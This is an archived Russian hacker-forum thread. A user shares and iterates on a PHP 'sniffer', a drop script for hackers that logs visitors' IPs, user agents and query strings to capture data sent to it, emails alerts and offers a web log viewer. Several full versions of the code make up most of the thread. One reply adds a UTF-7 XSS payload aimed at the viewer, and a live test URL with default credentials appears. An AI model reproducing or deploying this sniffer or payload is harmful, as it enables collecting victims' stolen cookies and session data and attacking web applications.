Просмотр полной версии : ProTeam Sniffer by Developer aka RUSH
Developer
07.05.2006, 23:17
Вот, наконец-то я решил взяться за написание хорошего сниффера. Написал первую версия и вот, выкладываю ее на обозрение.
<?php
// Конфигурация
$config['file'] = "sniffer.txt"; // Файл, куда будет писаться или считываться информация.
$config['img'] = "sniffer.gif"; // Путь к изображению для показа относительно самого сниффера. Чтобы отключить эту функцию - впишите 0.
$config['email'] = "MyMail@mail.ru"; // E-Mail для отправки уведомлений. Чтобы отключить эту функцию - впишите 0.
$config['from'] = "Sniffer@example.com"; // Адрес, с которого будут отправляться уведомления.
$config['name'] = "Sniffer: new query"; // Тема письма.
$config['new'] = "New query at"; // Фраза, вставляемая перед временем запроса.
// Подавляем вывод ошибок
error_reporting(0);
function index()
{
global $config;
// Проверки на несуществующие или пустые индексы
if (empty($_SERVER['HTTP_X_FORWARDED_FOR']) || $_SERVER['HTTP_X_FORWARDED_FOR'] == "unknown") {
$_SERVER['HTTP_X_FORWARDED_FOR'] = "Hide";
}
if (empty($_SERVER['QUERY_STRING'])) {
$_SERVER['QUERY_STRING'] = "None";
}
if (empty($_SERVER['HTTP_REFERER'])) {
$_SERVER['HTTP_REFERER'] = "Hide";
}
// Создание массива
$info['date'] = date("d.m.Y H:i:s");
$info['proxy_ip'] = $_SERVER['REMOTE_ADDR'];
$info['line_ip'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
$info['referer'] = $_SERVER['HTTP_REFERER'];
$info['agent'] = $_SERVER['HTTP_USER_AGENT'];
$info['query'] = urldecode($_SERVER['QUERY_STRING']);
// Создание строки
$string = $info['date']."||".$info['proxy_ip']."||".$info['line_ip']."||".$info['referer']."||".$info['agent']."||".$info['query']."\n";
// Запись строки в файл
$link = fopen($config['file'], "a");
fwrite($link, $string);
fclose($link);
unset($string, $link);
// Отправка уведомления на E-Mail
if (!empty($config['email'])) {
$script = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$text = $config['new']." ".$info['date']."\r\n".$script;
mail($config['email'], $config['name'], $text, "From: ".$config['from']."\r\n");
unset($script, $text);
}
unset($info);
// Вывод изображения
if (!empty($config['img'])) {
$image = file_get_contents($config['img']);
header("Content-type: image/gif");
header("Content-length: ".strlen($image));
echo $image;
unset($image);
}
}
function view() {
global $config;
$file = file($config['file']);
foreach ($file as $string)
{
$array = explode("||", $string);
foreach ($array as $value)
{
echo $value."<br />\n";
}
echo "<hr />\n";
}
}
if (empty($_GET['mode'])) {
$_GET['mode'] = "index";
}
switch ($_GET['mode'])
{
case "view":
view();
break;
default:
index();
break;
}
?>
Сниффер может посылать уведомление на e-mail, показывать картинку, записывать данные в файл и выводить их.
В ближайшее время планируется релиз версии 1.1, 1.2 и 2.0.
В версии 1.1 будет переработана система вывода запросов - будет разработан дизайн.
В версии 1.2 будет возможность очищать лог сниффера прямой из веб-интерфейса.
И самая крутая фишка, которая нас ожидает в версии 2.0 - при поступлении запроса, сниффер будет мгновенно отправлять сообщение на ICQ (Я думаю у настоящего хакера эта тузла включена постоянно).
А сейчас вы можете потестить первую версию и выложить свои мысли по ней :))) Да прибудет с тобой сила, тестер!
Developer
07.05.2006, 23:19
Забыл добавить - чтобы посмотреть лог сниффера запустите скрипт с параметром "mode=view".
Developer
07.05.2006, 23:22
Так же ваши мысли можете убить в моей репутации *расчитывает на хорошие* :))) Хотя, если мысли плохие - убейте их в том же йогурте!
Developer
08.05.2006, 14:49
Свет увидела новая версия моего сниффера :))) Продолжаем отлавливать баги:
<?php
// Конфигурация
$config['login'] = "login"; // Логин для входа
$config['password'] = "password"; // Пароль для входа
$config['file'] = "sniffer.txt"; // Файл, куда будет писаться или считываться информация.
$config['img'] = "sniffer.gif"; // Путь к изображению для показа относительно самого сниффера. Чтобы отключить эту функцию - впишите 0.
$config['email'] = "MyMail@mail.ru"; // E-Mail для отправки уведомлений. Чтобы отключить эту функцию - впишите 0.
$config['from'] = "Sniffer@example.com"; // Адрес, с которого будут отправляться уведомления.
$config['name'] = "Sniffer: new query"; // Тема письма.
$config['new'] = "New query at"; // Фраза, вставляемая перед временем запроса.
error_reporting(0);
function auth() {
header('WWW-Authenticate: Basic realm="ProTeam Sniffer"');
header('HTTP/1.0 401 Unauthorized');
die("<br /><br /><div align=\"center\"><b>Не правильный логин или пароль!</b></div>");
}
function index()
{
global $config;
if (empty($_SERVER['HTTP_X_FORWARDED_FOR']) || $_SERVER['HTTP_X_FORWARDED_FOR'] == "unknown") {
$_SERVER['HTTP_X_FORWARDED_FOR'] = "Hide";
}
if (empty($_SERVER['QUERY_STRING'])) {
$_SERVER['QUERY_STRING'] = "None";
}
if (empty($_SERVER['HTTP_REFERER'])) {
$_SERVER['HTTP_REFERER'] = "Hide";
}
$info['date'] = date("d.m.Y H:i:s");
$info['proxy_ip'] = $_SERVER['REMOTE_ADDR'];
$info['line_ip'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
$info['referer'] = $_SERVER['HTTP_REFERER'];
$info['agent'] = $_SERVER['HTTP_USER_AGENT'];
$info['query'] = urldecode($_SERVER['QUERY_STRING']);
$string = $info['date']."||".$info['proxy_ip']."||".$info['line_ip']."||".$info['referer']."||".$info['agent']."||".$info['query']."\n";
$link = fopen($config['file'], "a");
fwrite($link, $string);
fclose($link);
unset($string, $link);
if (!empty($config['email'])) {
$script = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$text = $config['new']." ".$info['date']."\r\n".$script;
mail($config['email'], $config['name'], $text, "From: ".$config['from']."\r\n");
unset($script, $text);
}
unset($info);
if (!empty($config['img'])) {
$image = file_get_contents($config['img']);
header("Content-type: image/gif");
header("Content-length: ".strlen($image));
echo $image;
unset($image);
}
}
function view()
{
global $config;
$file = file($config['file']);
if (empty($file[0])) {
echo "<br />\n";
echo "<br />\n";
echo "<br />\n";
echo "<div align=\"center\"><h3>Запросы отсутствуют.</h3></div>";
exit;
}
krsort($file);
$file_count = count($file);
echo "<form name=\"delete\" action=\"".$_SERVER['PHP_SELF']."?mode=delete\" method=\"post\">\n";
for ($c = 0; $c < $file_count; $c++)
{
$array = explode("||", $file[$c]);
if (strpos($array[5], "&")) {
$query = explode("&", $array[5]);
$count = count($query);
$prev = $count - 1;
$array[5] = "";
for ($i = 0; $i < $count; $i++)
{
$array[5] .= $query[$i];
if ($i != $prev) {
$array[5] .= " <b>//</b> ";
}
}
unset($query, $count, $prev);
}
$str_num = $file_count - $c;
echo "<fieldset>";
echo "<table width=\"100%\" border=\"0\">\n";
echo "<tr>\n";
echo "<td>Дата:</td>\n";
echo "<td>".$array[0]."</td>\n";
echo "<td rowspan=\"6\"><input id=\"del\" name=\"box-".$str_num."\" type=\"checkbox\" value=\"del-".$str_num."\"></td></tr>\n";
echo "<tr>\n";
echo "<td>IP-адрес (Proxy):</td>\n";
echo "<td>".$array[1]."</td></tr>\n";
echo "<tr>\n";
echo "<td>IP-адрес (Прямой):</td>\n";
echo "<td>".$array[2]."</td></tr>\n";
echo "<tr>\n";
echo "<td>Реферер:</td>\n";
echo "<td>".$array[3]."</td></tr>\n";
echo "<tr>\n";
echo "<td>Браузер:</td>\n";
echo "<td>".$array[4]."</td></tr>\n";
echo "<tr>\n";
echo "<td>Запрос:</td>\n";
echo "<td>".rtrim($array[5])."</td></tr>\n";
echo "</table>\n";
echo "</fieldset>\n";
echo "<br />\n";
}
echo "<table width=\"100%\" border=\"0\">\n";
echo "<tr>\n";
echo "<td align=\"right\"><input type=\"submit\" value=\"Удалить отмеченные\"></td></tr>\n";
echo "</table>\n";
echo "</form>\n";
unset($file, $file_count, $array);
}
function del()
{
global $config;
$file = file($config['file']);
foreach ($_POST as $string)
{
$array = explode("-", $string);
if ($array[0] == "del") {
unset($file[$array[1] - 1]);
}
}
unset($array);
$string = "";
foreach ($file as $str)
{
$string .= $str;
}
$link = fopen($config['file'], "w");
fwrite($link, $string);
fclose($link);
header("Location: ".$_SERVER['PHP_SELF']."?mode=view");
}
if (empty($_GET['mode'])) {
$_GET['mode'] = "index";
} else {
if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW'])) auth();
if (!($_SERVER['PHP_AUTH_USER'] == $config['login'] && $_SERVER['PHP_AUTH_PW'] == $config['password'])) auth();
}
switch ($_GET['mode'])
{
case "view":
view();
break;
case "delete":
del();
break;
default:
index();
break;
}
?>
Developer
08.05.2006, 14:55
Краткий список возможностей:
+ Вывод картинки в буфер
+ Запись всех данных, которые возможно получить
+ Обработка запроса и вывод "В красивом виде" (Запрос разделяется через &)
+ Возможность поставить логин/пароль для просмотра лога через веб-интерфейс
+ Удаление записей прямо из веб-интерфейса
+ Посылка уведомлений на e-mail (Хорошо использовать в связке с Mail-Agent)
+ Небольшой размер
+ Не напрягающий глаз интерфейс
+ Все в одном файле
а дай какие-нить превью чтоли. а то уж больно впадлу у себя тестить =) или хотя бы скрины какие
Developer
08.05.2006, 20:18
http://proteam.com.ru/image.gif - Снифер
http://proteam.com.ru/sniffer.php - Снифер
http://proteam.com.ru/sniffer.php?mode=view - Админка (Логин: login // Пароль: password)
ЗЫ: Думаю ставить навороты, как в снифере каньяка или нет. Вроде бы зачем хакеру всякие дизайны, фильтры и т.д. чтобы прочитать одну строчку с запросом - а с другой стороны ХЗ. Вот, хочу ICQ чтоыб отправляло, это да :)
Прикольный снифер, но рас ты решил сделать вэб интерфейс, то хоть какие небудь фильтры поставь
$query =~ s/</</g; # это правдо на перле
ато я зашол посмотрель лог изнутри, а там скриптов море, хорошо что они у меня отключены.
Developer
10.05.2006, 15:34
hidden, да уж... Не пропалил я возможность вставки скриптов в лог :))) В общем, решение:
$string = $info['date']."||".$info['proxy_ip']."||".$info['line_ip']."||".$info['referer']."||".$info['agent']."||".$info['query']."\n";
Меняем на:
$string = htmlspecialchars($info['date']."||".$info['proxy_ip']."||".$info['line_ip']."||".$info['referer']."||".$info['agent']."||".$info['query']."\n");
Developer
10.05.2006, 15:43
Всем, кто будет находить баги, буду ставить + :)
+ADw-script+AD4-tx+AD0-/xss/+ADs-alert(tx.source)+ADsAPA-/script+AD4-
Это может сработать, если русский уберешь.
http://antichat.ru/txt/utf7/
Developer
10.05.2006, 17:01
hidden, как понять??? Как защититься от этого, что фильтровать? Первый раз вижу такой метод взлома :)))
Developer
10.05.2006, 17:03
Кстати, может кто подскажет, как сделать, чтобы при нажатии на кнопку отмечались все чекбоксы на странице (JavaScript).
ferryman
10.05.2006, 18:11
Держи
function check_msg(obj,val)
{
var obj_len=obj.length;
for (i=0; i<obj_len; i++) {
if(obj.elements[i].type=='checkbox') {
obj.elements[i].checked=val;
}
}
}
<input name=set type=checkbox onClick="check_msg(this.form,this.checked);" style="cursor:hand;width:8pt" title="Отметить все">
while(array){
<input name="uid[]" type=checkbox value="" style="cursor:hand;width:8pt">
}
Developer
10.05.2006, 21:04
Хм, спасибо, попробую...
hidden, как понять??? Как защититься от этого, что фильтровать? Первый раз вижу такой метод взлома ))
Если спрашуешь значит статью (http://antichat.ru/txt/utf7/) Algolа не прочитал.
Developer
12.05.2006, 18:32
Сниффер был немного доработан и добавлена функция "Удалить все", но пока что она никому не доступна :)))
Исходники выложу, когда сниффер пройдет тестирование. Итак, хакеры, GO ломать сниффер :)))
http://proteam.com.ru/sniffer.php
http://proteam.com.ru/sniffer.php?mode=view [ Login: login // Password: password ]
Developer
12.05.2006, 21:25
Я думаю, что с исходниками баг найти будет намного легче :))) Итак, самая последняя версия сниффера:
<?php
// Конфигурация
$config['login'] = "login"; // Логин для входа
$config['password'] = "password"; // Пароль для входа
$config['file'] = "sniffer.txt"; // Файл, куда будет писаться или считываться информация.
$config['img'] = "sniffer.gif"; // Путь к изображению для показа относительно самого сниффера. Чтобы отключить эту функцию - впишите 0.
//$config['email'] = "MyMail@mail.ru"; // E-Mail для отправки уведомлений. Чтобы отключить эту функцию - впишите 0.
$config['from'] = "Sniffer@proteam.com.ru"; // Адрес, с которого будут отправляться уведомления.
$config['name'] = "Sniffer: new query"; // Тема письма.
$config['new'] = "New query at"; // Фраза, вставляемая перед временем запроса.
error_reporting(0);
function auth() {
header('WWW-Authenticate: Basic realm="ProTeam Sniffer"');
header('HTTP/1.0 401 Unauthorized');
die("<br /><br /><div align=\"center\"><b>Не правильный логин или пароль!</b></div>");
}
function index()
{
global $config;
if (empty($_SERVER['HTTP_X_FORWARDED_FOR']) || $_SERVER['HTTP_X_FORWARDED_FOR'] == "unknown") {
$_SERVER['HTTP_X_FORWARDED_FOR'] = "Hide";
}
if (empty($_SERVER['HTTP_REFERER'])) {
$_SERVER['HTTP_REFERER'] = "Hide";
}
if (empty($_SERVER['USER_AGENT'])) {
$_SERVER['USER_AGENT'] = "Hide";
}
if (empty($_SERVER['QUERY_STRING'])) {
$_SERVER['QUERY_STRING'] = "None";
}
$info['date'] = date("d.m.Y H:i:s");
$info['proxy_ip'] = $_SERVER['REMOTE_ADDR'];
$info['line_ip'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
$info['referer'] = $_SERVER['HTTP_REFERER'];
$info['agent'] = $_SERVER['HTTP_USER_AGENT'];
$info['query'] = urldecode($_SERVER['QUERY_STRING']);
$string = htmlspecialchars($info['date']."||".$info['proxy_ip']."||".$info['line_ip']."||".$info['referer']."||".$info['agent']."||".$info['query']."||\n");
$link = fopen($config['file'], "a");
flock($link, LOCK_EX);
fwrite($link, $string);
flock($link, LOCK_UN);
fclose($link);
unset($string, $link);
if (!empty($config['email'])) {
$script = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$text = $config['new']." ".$info['date']."\r\n".$script;
mail($config['email'], $config['name'], $text, "From: ".$config['from']."\r\n");
unset($script, $text);
}
unset($info);
if (!empty($config['img'])) {
$image = file_get_contents($config['img']);
header("Content-type: image/gif");
echo $image;
unset($image);
}
}
function view()
{
global $config;
echo "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n";
echo "<html>\n";
echo "<head>\n";
echo "<meta http-equiv=\"content-type\" content=\"text/html; charset=windows-1251\">\n";
echo "<meta http-equiv=\"expires\" content=\"0\">\n";
echo "<title>ProTeam Sniffer</title>\n";
echo "</head>\n";
echo "<body>\n";
$file = file($config['file']);
if (empty($file[0])) {
echo "<br />\n";
echo "<br />\n";
echo "<br />\n";
echo "<div align=\"center\"><h3>Запросы отсутствуют.</h3></div>\n";
echo "</body>\n";
echo "</html>";
exit;
}
$file_count = count($file);
echo "<form name=\"delete\" action=\"".$_SERVER['PHP_SELF']."?mode=delete\" method=\"post\">\n";
for ($c = 0; $c < $file_count; $c++)
{
$str_num = $file_count - $c;
$array = explode("||", $file[$str_num - 1]);
$array[6] = str_replace(";", "<br />\n", $array[6]);
echo "<fieldset>";
echo "<table width=\"100%\" border=\"0\">\n";
echo "<tr>\n";
echo "<td width=\"175\">Дата:</td>\n";
echo "<td>".$array[0]."</td>\n";
echo "<td rowspan=\"7\" width=\"20\" align=\"right\"><input name=\"del\" type=\"checkbox\" value=\"del-".$str_num."\"></td></tr>\n";
echo "<tr>\n";
echo "<td>IP-адрес (Proxy):</td>\n";
echo "<td>".$array[1]."</td></tr>\n";
echo "<tr>\n";
echo "<td>IP-адрес (Прямой):</td>\n";
echo "<td>".$array[2]."</td></tr>\n";
echo "<tr>\n";
echo "<td>Реферер:</td>\n";
echo "<td>".$array[3]."</td></tr>\n";
echo "<tr>\n";
echo "<td>Браузер:</td>\n";
echo "<td>".$array[4]."</td></tr>\n";
echo "<tr>\n";
echo "<td>Запрос:</td>\n";
echo "<td>".$array[5]."</td></tr>\n";
echo "</table>\n";
echo "</fieldset>\n";
echo "<br />\n";
}
echo "<table width=\"100%\" border=\"0\">\n";
echo "<tr>\n";
echo "<td align=\"right\"><input type=\"submit\" value=\"Удалить отмеченные\"></td></tr>\n";
echo "</table>\n";
echo "</form>\n";
echo "</body>\n";
echo "</html>";
unset($file, $file_count, $str_num, $array);
}
function del()
{
global $config;
if (!empty($_GET['all']) && $_GET['all'] == 1) {
$link = fopen($config['file'], "w");
fclose($link);
} else {
$file = file($config['file']);
foreach ($_POST as $string)
{
$array = explode("-", $string);
if ($array[0] == "del") {
unset($file[$array[1] - 1]);
}
}
unset($array);
$string = "";
foreach ($file as $str)
{
$string .= $str;
}
$link = fopen($config['file'], "w");
flock($link, LOCK_EX);
fwrite($link, $string);
flock($link, LOCK_UN);
fclose($link);
unset($file, $string);
}
unset($link);
header("Location: ".$_SERVER['PHP_SELF']."?mode=view");
}
if (empty($_GET['mode'])) {
$_GET['mode'] = "index";
} else {
if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW'])) auth();
if (!($_SERVER['PHP_AUTH_USER'] == $config['login'] && $_SERVER['PHP_AUTH_PW'] == $config['password'])) auth();
}
switch ($_GET['mode'])
{
case "view":
view();
break;
case "delete":
del();
break;
default:
index();
break;
}
?>
Ваши замечания, предложения, идеи прошу выкладывать в этом топике, за дельные посты буду ставить + :)))
Больше ничего найти не смог, кроме что только файл (http://proteam.com.ru/sniffer.txt) лучше распологать в недоступном дня вэба месте, но я думаю он там только на время тестирования, хотя кто может узнать его имя.
Может не самое подходящее место, но ты говорил про отсылку сообщений на Icq, не поденишся скриптом или хотябы источником, как это делать?
Developer
13.05.2006, 17:47
hidden, пробовал - пока результат ноль. Даже брал скрипты готовые - и те не работают :((( А раньше все на отлично работало.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot